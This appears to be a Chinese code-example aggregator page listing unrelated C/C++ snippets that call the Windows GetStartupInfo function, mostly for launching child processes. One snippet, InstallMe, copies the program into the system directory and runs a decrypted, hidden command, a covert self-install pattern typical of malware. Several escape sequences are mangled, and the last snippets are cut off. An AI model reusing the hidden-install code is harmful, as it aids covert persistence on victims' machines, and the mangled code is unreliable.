自学教程：C++ GetStartupInfo函数代码示例

int _winstart(void){	char *szCmd; STARTUPINFO startinfo;	__set_app_type(__GUI_APP);	_controlfp(0x10000, 0x30000);	szCmd = GetCommandLine();	if (szCmd)	{		while (' ' == *szCmd) szCmd++;		if ('/"' == *szCmd)		{			while (*++szCmd)				if ('/"' == *szCmd) { szCmd++; break; }		}		else		{			while (*szCmd && ' ' != *szCmd) szCmd++;		}		while (' ' == *szCmd) szCmd++;	}	GetStartupInfo(&startinfo);	exit(WinMain(GetModuleHandle(NULL), NULL, szCmd,		(startinfo.dwFlags & STARTF_USESHOWWINDOW) ?			startinfo.wShowWindow : SW_SHOWDEFAULT));}

DWORD WINAPI MakeNSISProc(LPVOID p) {  STARTUPINFO si={sizeof(si),};  SECURITY_ATTRIBUTES sa={sizeof(sa),};  SECURITY_DESCRIPTOR sd={0,};  PROCESS_INFORMATION pi={0,};  HANDLE newstdout=0,read_stdout=0;  OSVERSIONINFO osv={sizeof(osv)};  GetVersionEx(&osv);  if (osv.dwPlatformId == VER_PLATFORM_WIN32_NT) {    InitializeSecurityDescriptor(&sd,SECURITY_DESCRIPTOR_REVISION);    SetSecurityDescriptorDacl(&sd,true,NULL,false);    sa.lpSecurityDescriptor = &sd;  }  else sa.lpSecurityDescriptor = NULL;  sa.bInheritHandle = true;  if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) {    ErrorMessage(g_sdata.hwnd,"There was an error creating the pipe.");    PostMessage(g_sdata.hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);    return 1;  }  GetStartupInfo(&si);  si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;  si.wShowWindow = SW_HIDE;  si.hStdOutput = newstdout;  si.hStdError = newstdout;  if (!CreateProcess(NULL,g_sdata.script,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi)) {    char buf[MAX_STRING];    wsprintf(buf,"Could not execute:/r/n %s.",g_sdata.script);    ErrorMessage(g_sdata.hwnd,buf);    CloseHandle(newstdout);    CloseHandle(read_stdout);    PostMessage(g_sdata.hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);    return 1;  }  char szBuf[1024];  DWORD dwRead = 1;  DWORD dwExit = !STILL_ACTIVE;  while (dwExit == STILL_ACTIVE || dwRead) {    PeekNamedPipe(read_stdout, 0, 0, 0, &dwRead, NULL);    if (dwRead) {      ReadFile(read_stdout, szBuf, sizeof(szBuf)-1, &dwRead, NULL);      szBuf[dwRead] = 0;      LogMessage(g_sdata.hwnd, szBuf);    }    else Sleep(TIMEOUT);    GetExitCodeProcess(pi.hProcess, &dwExit);    // Make sure we have no data before killing getting out of the loop    if (dwExit != STILL_ACTIVE) {      PeekNamedPipe(read_stdout, 0, 0, 0, &dwRead, NULL);    }  }  g_sdata.retcode = dwExit;  CloseHandle(pi.hThread);  CloseHandle(pi.hProcess);  CloseHandle(newstdout);  CloseHandle(read_stdout);  PostMessage(g_sdata.hwnd,WM_MAKENSIS_PROCESSCOMPLETE,0,0);  return 0;}

void ServerStart(HWND hWnd, HWND hCaller, UINT uMsg){	wchar_t qemu[256];	wchar_t path[256];	wchar_t hdb[256], hdc[256], hdd[256];	wchar_t net_name[256];	wchar_t qemu_args[2048];	STARTUPINFO si;	HANDLE hStatusThread;	memset(&si, 0, sizeof(STARTUPINFO));	ConfigGetString(L"qemu", qemu);	ConfigGetString(L"path", path);	if(wcslen(qemu) == 0 || wcslen(path) == 0)		return;	UpdateDrives(NULL);	UpdateInterfaces(NULL);	ConfigGetString(L"hdb", hdb);	ConfigGetString(L"hdc", hdc);	ConfigGetString(L"hdd", hdd);	ConfigGetString(L"net_name", net_name);	if(wcslen(net_name) == 0)	{		MessageBox(NULL, GetString(IDS_ERROR_NONET), GetString(IDS_CAPTION), MB_ICONEXCLAMATION | MB_OK);		return;	}	if(wcslen(hdb) == 0 && wcslen(hdc) == 0 && wcslen(hdd) == 0)	{		MessageBox(NULL, GetString(IDS_ERROR_NODRIVE), GetString(IDS_CAPTION), MB_ICONEXCLAMATION | MB_OK);		return;	}	wsprintf(qemu_args, L"/"%s/" -L . -m %d -net nic,model=%s -net tap,ifname=/"%s/" -hda %s",		qemu, QEMU_MEM, QEMU_NIC, net_name, QEMU_SERVERIMG);	if(wcslen(hdb) > 0)		wsprintf(qemu_args, L"%s -hdb %s", qemu_args, hdb);	if(wcslen(hdc) > 0)		wsprintf(qemu_args, L"%s -hdc %s", qemu_args, hdc);	if(wcslen(hdd) > 0)		wsprintf(qemu_args, L"%s -hdd %s", qemu_args, hdd);	wcscat_s(qemu_args, 2048, QEMU_ARGS);	GetStartupInfo(&si);	si.dwFlags	   = STARTF_USESHOWWINDOW;	si.wShowWindow = SW_HIDE;	if(!CreateProcess(qemu, qemu_args, NULL, NULL, FALSE, 0, NULL, path, &si, &gServer))	{		MessageBox(NULL, GetString(IDS_ERROR_START), GetString(IDS_CAPTION), MB_ICONSTOP | MB_OK);		return;	}	hStatusThread = CreateThread(NULL, 0, StatusThread, (LPVOID)hWnd, 0, NULL);	CloseHandle(hStatusThread);}

int execit(char *prog, char *args){	BOOL ok;	STARTUPINFO startup_info;	PROCESS_INFORMATION proc_info;	GetStartupInfo(&startup_info);	ok = CreateProcess(		prog,		args,		0, /*process security attributes*/		0, /*thread security attributes*/		FALSE,		0, /*dwCreationFlags*/		0, /*environment*/		0, /*lpCurrentDirectory*/		&startup_info,		&proc_info	);	if(ok) {		DWORD dw;		dw = WaitForSingleObject(proc_info.hProcess, INFINITE);		ok = (dw != 0xFFFFFFFF);		CloseHandle(proc_info.hThread);		CloseHandle(proc_info.hProcess);	}	return ok? 0 : -1;}

// If possible, open our windows on the monitor where user// have clicked our icon (shortcut on the desktop or TaskBar)HMONITOR GetStartupMonitor(){	STARTUPINFO si = {sizeof(si)};	MONITORINFO mi = {sizeof(mi)};	POINT ptCur = {}, ptOut = {-32000,-32000};	HMONITOR hStartupMonitor = NULL, hMouseMonitor, hPrimaryMonitor;	GetStartupInfo(&si);	GetCursorPos(&ptCur);	// Get primary monitor, it's expected to be started at 0x0, but we can't be sure	hPrimaryMonitor = MonitorFromPoint(ptOut, MONITOR_DEFAULTTOPRIMARY);	// Get the monitor where mouse cursor is located	hMouseMonitor = MonitorFromPoint(ptCur, MONITOR_DEFAULTTONEAREST);	// si.hStdOutput may have a handle of monitor with shortcut or used taskbar	if (si.hStdOutput && GetMonitorInfo((HMONITOR)si.hStdOutput, &mi))	{		hStartupMonitor = (HMONITOR)si.hStdOutput;	}	// Now, due to MS Windows bugs or just an inconsistence,	// hStartupMonitor has hPrimaryMonitor, if program was started	// from shortcut, even if it is located on secondary monitor,	// if it was started by keyboard.	// So we can trust hStartupMonitor value only when it contains	// non-primary monitor value (when user clicks shortcut with mouse)	if (hStartupMonitor && ((hStartupMonitor != hPrimaryMonitor) || (hStartupMonitor == hMouseMonitor)))		return hStartupMonitor;	// Otherwise - return monitor where mouse cursor is located	return hMouseMonitor ? hMouseMonitor : hPrimaryMonitor;}

//重启程序void CUtil::ReStart(BOOL bNormal) { 	PROCESS_INFORMATION   info; 	STARTUPINFO startup; 	TCHAR szPath[128]; 	TCHAR *szCmdLine; 	GetModuleFileName(AfxGetApp()-> m_hInstance,szPath,sizeof(szPath)); 	szCmdLine= GetCommandLine(); 	GetStartupInfo(&startup); 	BOOL bSucc=CreateProcess(szPath,szCmdLine,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL, NULL,&startup,&info); 	if(bNormal && bSucc) 	{ 		CWnd *pWnd= AfxGetMainWnd(); 		if(pWnd != NULL) 		{ 			pWnd->PostMessage(WM_CLOSE,0,0); 		} 		else 			ExitProcess(-1); 	} 	else 		ExitProcess(-1); } 

void run(char *name){  STARTUPINFO si;  PROCESS_INFORMATION pi;  GetStartupInfo(&si);  CreateProcess(0, name, 0, 0, 0, 0, 0, 0, &si, &pi);  WaitForSingleObject(pi.hProcess, INFINITE);}

int main(int argc, char *argv[]) {  BOOL result;  const char *msg1 = "Hello, World!/n(CreateFile/WriteFile/CloseHandle)/n++++++++++++++(1)/n/n";  const char *msg2 = "Hello, World!/n(CreateFile/WriteFile/CloseHandle)/n(2)/n/n";  const char *fileName = "../temp/test-w-twice.txt";  HANDLE fh1, fh2;  DWORD errorCode;  DWORD nWritten;    PROCESS_INFORMATION processInformation;  STARTUPINFO startupInfo;  GetStartupInfo(&startupInfo);  result = CreateProcess("child-process.exe", /* LPCTSTR lpApplicationName, */                            "", /* LPTSTR lpCommandLine, */                            NULL, /* LPSECURITY_ATTRIBUTES lpProcessAttributes, */                            NULL, /* LPSECURITY_ATTRIBUTES lpThreadAttributes, */                            FALSE, /* bInheritHandles, */                         0, /* CREATE_NEW_CONSOLE,  DWORD dwCreationFlags, */                            NULL, /* LPVOID lpEnvironment, */                            NULL, /* LPCTSTR lpCurrentDirectory,*/                            &startupInfo, /* LPSTARTUPINFO lpStartupInfo, */                            &processInformation); /* LPPROCESS_INFORMATION lpProcessInformation */  printf("in parent process/n");  Sleep(5000);  printf("terminating child/n");  TerminateProcess(processInformation.hProcess, 0);  printf("child terminated");  ExitProcess(0);}

/*	Name: init()	Description: initialize console application.	Parameters:				[in] name - a name of the console application							with a full path.	Return value:					ON SUCCESS: TRUE					ON   ERROR: FALSE	Revision: 29.01.2007*/bool console::init(const char *name, const char *args){	// init security descriptor	InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);	SetSecurityDescriptorDacl(&sd, true, NULL, false);	// init security attributes	sa.lpSecurityDescriptor = &sd;	sa.nLength = sizeof(SECURITY_ATTRIBUTES);	sa.bInheritHandle = true; // endble handle inherit	// create pipes and I/O redirect	CreatePipe(&newstdin, &write_stdin, &sa, 0);	CreatePipe(&read_stdout, &newstdout, &sa, 0);	// init startupinfo	GetStartupInfo(&si);	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;	si.wShowWindow = SW_HIDE;	si.hStdOutput = newstdout;	si.hStdError  = newstdout;	si.hStdInput  = newstdin;	char args_copy[10240];	lstrcpy(args_copy, args);	printf("Execute: [%s] [%s]/n", name, args_copy);	if(0 == CreateProcess(name, args_copy, NULL, NULL, true, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))	{		return false;	}	return true;}

void InstallMe(char *szInstallName){     	 char szAppPath[MAX_PATH];	 char szSystemPath[MAX_PATH];	 char KeyValue[1024];	 BOOL result;	 STARTUPINFO sInfo;  	 PROCESS_INFORMATION pInfo;	 GetStartupInfo(&sInfo);	 sInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;	 sInfo.wShowWindow =SW_HIDE;	 ZeroMemory(KeyValue,1024);	 GetModuleFileName(GetModuleHandle(NULL),szAppPath,MAX_PATH);	 GetSystemDirectory(szSystemPath,MAX_PATH);	 strcat(szSystemPath,"//");	 strcat(szSystemPath,szInstallName);	 strcat(szSystemPath,".exe");	          pToFileCopy=(pFileCopy)GetProcAddress(GetModuleHandle("kernel32.dll"),"CopyFileA");	 result=pToFileCopy("test.c","C://test2.c",1);	 //CopyFile(szAppPath,szSystemPath,1);	 strcat(KeyValue,EnDeCrypt(text,eKey));         strcat(KeyValue," "); 	 strcat(KeyValue,szSystemPath);	 strcat(KeyValue," /F");	 	 CreateProcess(NULL,KeyValue,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&sInfo,&pInfo);	       

int main(void){    STARTUPINFO stup;    PROCESS_INFORMATION pinfo;    LONGLONG ct, et, kt, ut, elapse;    SYSTEMTIME sct, set;    char *call;    call = GetCommandLine(); // string com a linha de comando    call = skip_arg(call); // salta o 1.o argumento    GetStartupInfo(&stup); // necessário para a cria
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